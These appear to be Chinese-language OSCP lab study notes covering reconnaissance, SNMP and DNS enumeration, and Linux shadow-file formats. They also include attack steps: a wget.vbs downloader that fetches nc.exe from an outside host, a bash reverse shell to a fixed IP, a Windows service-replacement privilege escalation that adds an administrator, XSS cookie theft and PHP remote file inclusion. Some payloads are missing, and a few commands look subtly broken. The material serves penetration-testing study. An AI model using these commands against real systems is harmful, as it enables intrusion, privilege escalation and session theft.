OSCP临时笔记
Kali自带的http服务是apache2,网站根目录在
/var/www
Kali将某些程序加入开机启动项
update-rc.d ssh enable
systemctl enable ssh //加入启动项
systemctl ssh start //启动
图形化启动项管理软件rcconf
cat index.html |grep “href=”|cut -d”/“ -f 3|grep “cisco.com”|cut -d’”‘ -f 1|sort -u >cisco.txt
index.html为思科官网的主页文件,目标是提取网页中所有和思科相关的网址
第一个过滤规则 |grep “href=” 的意思是保留所有有href=这一字符串的行
第二个过滤规则的 -d”/“ 是以 / 为分界将每行文本划为不同的块 -d 理解为divide
-f 的意思是选中第三块的内容作为需要的内容
第三个过滤规则意思是保留有cisco.com的行
第四个过滤规则是排除掉网址后不需要的块
第五个规则是合并所有相同的
> cisco.txt 意思是将结果导入到cisco.txt并保存
#!/bin/bash
for url in $(cat cisco.txt);do
host $url |grep “has address” |cut -d” “ -f 4 &
done
这个脚本的意思是将cisco.txt中的所有网址都通过host命令过滤截取出ip
后面加个&的意思是当条命令同时多线程运行
#!/bin/bash
for ip in $(seq 1 254);do
ping -c 1 10.11.1.$ip |grep “bytes from” |cut -d “” -f 4 |cut -d”:” -f 1 &
done
这个命令的意思是ping 10.11.1.0/24的ip各一次,并显示有结果的ip
nc -vn 10.11.12.13 25 可以起到 telnet 10.11.12.13 25的效果
host -t ns megacorpone.com
查询megacorpone.com的dns服务器
host -l megacorpone.com ns2.megacorpone.com
连接到ns2.megacorpone.com,并查询获取所有megacorpone的子域名
SNMP协议 经常被人忽视 UDP161端口 貌似直接扫扫不出来开不开放
扫描命令: 需要一个community文件和ip列表文件
onesixtyone -c community -i ip
community
public
private
manager
ip
10.11.1.1
10.11.1.2
10.11.1.3
写脚本爽过吸大麻
SNMP扫描器
编译linux下的.c文件使用gcc
gcc example.c -o balabala
./balabala
编译Windows环境下的.c文件使用mingw32
究极windows下的wget.vbs程序,适用于下载简单exe
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject(“WinHttp.WinHttpRequest.5.1”) >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject(“WinHttp.WinHttpRequest”) >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject(“MSXML2.ServerXMLHTTP”) >> wget.vbs
Echo If http Is Nothing Then Set http = CreateObject(“Microsoft.XMLHTTP”) >> wget.vbs
echo http.Open “GET”, strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject(“Scripting.FileSystemObject”) >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = “” >> wget.vbs
echo strBuffer = “” >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs
使用方法,直接复制到shell,在目标机桌面会生成wget.vbs
cscript wget.vbs http://www.jinzz.cc/nc.exe nc.exe
这样就可以下载nc.exe
Shadow - 密码文件
登录Linux时会要求输入用户名和密码。通常本地文件中会存储一份用户密码,并与用户输入对比,如果相同就允许用户登录。起初用户密码存储于/etc/passwd
中,但由于/etc/passwd必须供所有用户读取,因此为避免密码破译,Unix系统将加密后的密码存储于/etc/shadow
中,仅供超级用户可读(大型站点中使用NIS、LDAP、NIS+等方式存储)。
/etc/shadow中的密码格式:
$id$salt$encrypted
id表示hash算法。起初密码用DES算法加密,但因随DES加密破解难度的降低,已用其他加密算法替代DES。在shadow文件中,密码字段如果以”$”打头,则表示非DES加密,如:
$1$2eWq10AC$NaQqalCk3InEPBrIxjaJQ1
即表示非DES加密密码。而$1$
表示使用了基于MD5的加密算法。
$2a$04$NZJWn7W2skvQRC5lW3H7q.ZTE8bz4xbCAtU1ttzUOy63si3phphUu
$2a$
表示Blowfish算法。常见的标识与算法:
$1$ MD5
$2a$ Blowfish
$5$ SHA256
$6$ SHA512
/etc/passwd文件
/etc/passwd文件的格式:
username:passwd:UID:GID:full_name:directory:shell
/etc/shadow文件
首先从shadow文件中摘录数行:
root:$1$TCVDVaiT$JC7TbKjvIZpIprdehWFH/1:15157:0:99999:7::: bin:*:15157:0:99999:7::: daemon:*:15157:0:99999:7:::
/etc/shadow文件的每行由9个字段组成,以”:”作为字段分隔符。每个字段的说明:
- 用户名(login name)。
- 加密后的密码(形如:$1$2eWq10AC$NaQqalCk3InEPBrIxjaJQ1)。如果密码是”*“或”!”,则表示这个不会用这个帐号来登录(通常是一些后台进程)。
- 密码最后修改时间,从1970年1月1日起计算的天数。
- 不可修改密码的天数。如果是0,表示随时可修改密码。如果是N,表示N天后才能修改密码。
- 密码可以维系的天数。如果设置为N,则表示N天后必须更新密码。设置为99999通常表示无需更新密码。
- 在密码必须修改前的N天,就开始提示用户需要修改密码。
- 密码过期的宽限时间。
- 帐号失效时间。也是UNIX时间戳格式。
- 最后一个字段是保留字段。
Windows本地missconfigration提权
查看windows上运行服务的所需权限
windows+R service.msc
查看正在运行的服务
右键属性找到.exe文件
在cmd内cd到指定目录
icacls xxx.exe
即可查看到当前exe运行所需的权限
如果观察到当前exe有类似于EVERYONE之类的权限就说明有missconfigration
可以用一个恶意exe文件去代替
#include <stdlib.h>
int main()
{
int i;
i = system (“net localgroup administrators xxxx /add”)
return 0;
}
再使用
i586-mingw32msvc-gcc xxxx.c
将其编译成.exe文件并发送到目标机器上,使其服务重启即可添加xxxx用户到administrators权限组中
Linux本地missconfigration提权
find / -perm -2 ! -type l -ls 2>/dev/null
寻找有777权限的错误配置的文件,特别是一些第三方软件的.sh脚本
在其中插入恶意代码
bash -i >& /dev/tcp/192.168.100.118/443 0>&1
这个是向192.168.100.118:443发送了一个最高权限的shell
通过XSS劫持Cookies并伪造Cookie登录
需要使用firefox浏览器并安装两个add-one
cookies manager +
temper data
目标站点未对用户输入进行过滤,导致用户可以上传一段包含脚本的字符,从而使接下来浏览该网页的人受到影响
更进一步,将XSS脚本改为
就会向10.11.0.209这台机子的4444端口发送连接信息,即可获得当前受害者机器的cookies
再使用当前获取的受害者cookies信息伪造成自己的cookies信息就可以以受害者的身份登录
注意用PHP编写的网页例如切换语言时是否有http://xxxxxxx/addguestbook.php?name=hahaha&comment=hahaha&LANG=fr&Submit=Submit
这样的链接,注意红字标明的位置,如果该服务器PHP配置时未进行正确配置,allow_url_fopen = on 时此处可以替换成恶意链接.
http://47.90.101.155/evil.txt的内容为php语言
echo ‘‘ >/var/www/evil.txt
任何用户输入该链接
该处%00意为忽略%00后面的代码段
执行后/var/www/evil.txt处会保存有该服务器ipconfig后的结果
WEB相关工具
nikto
dirbuster
gobuster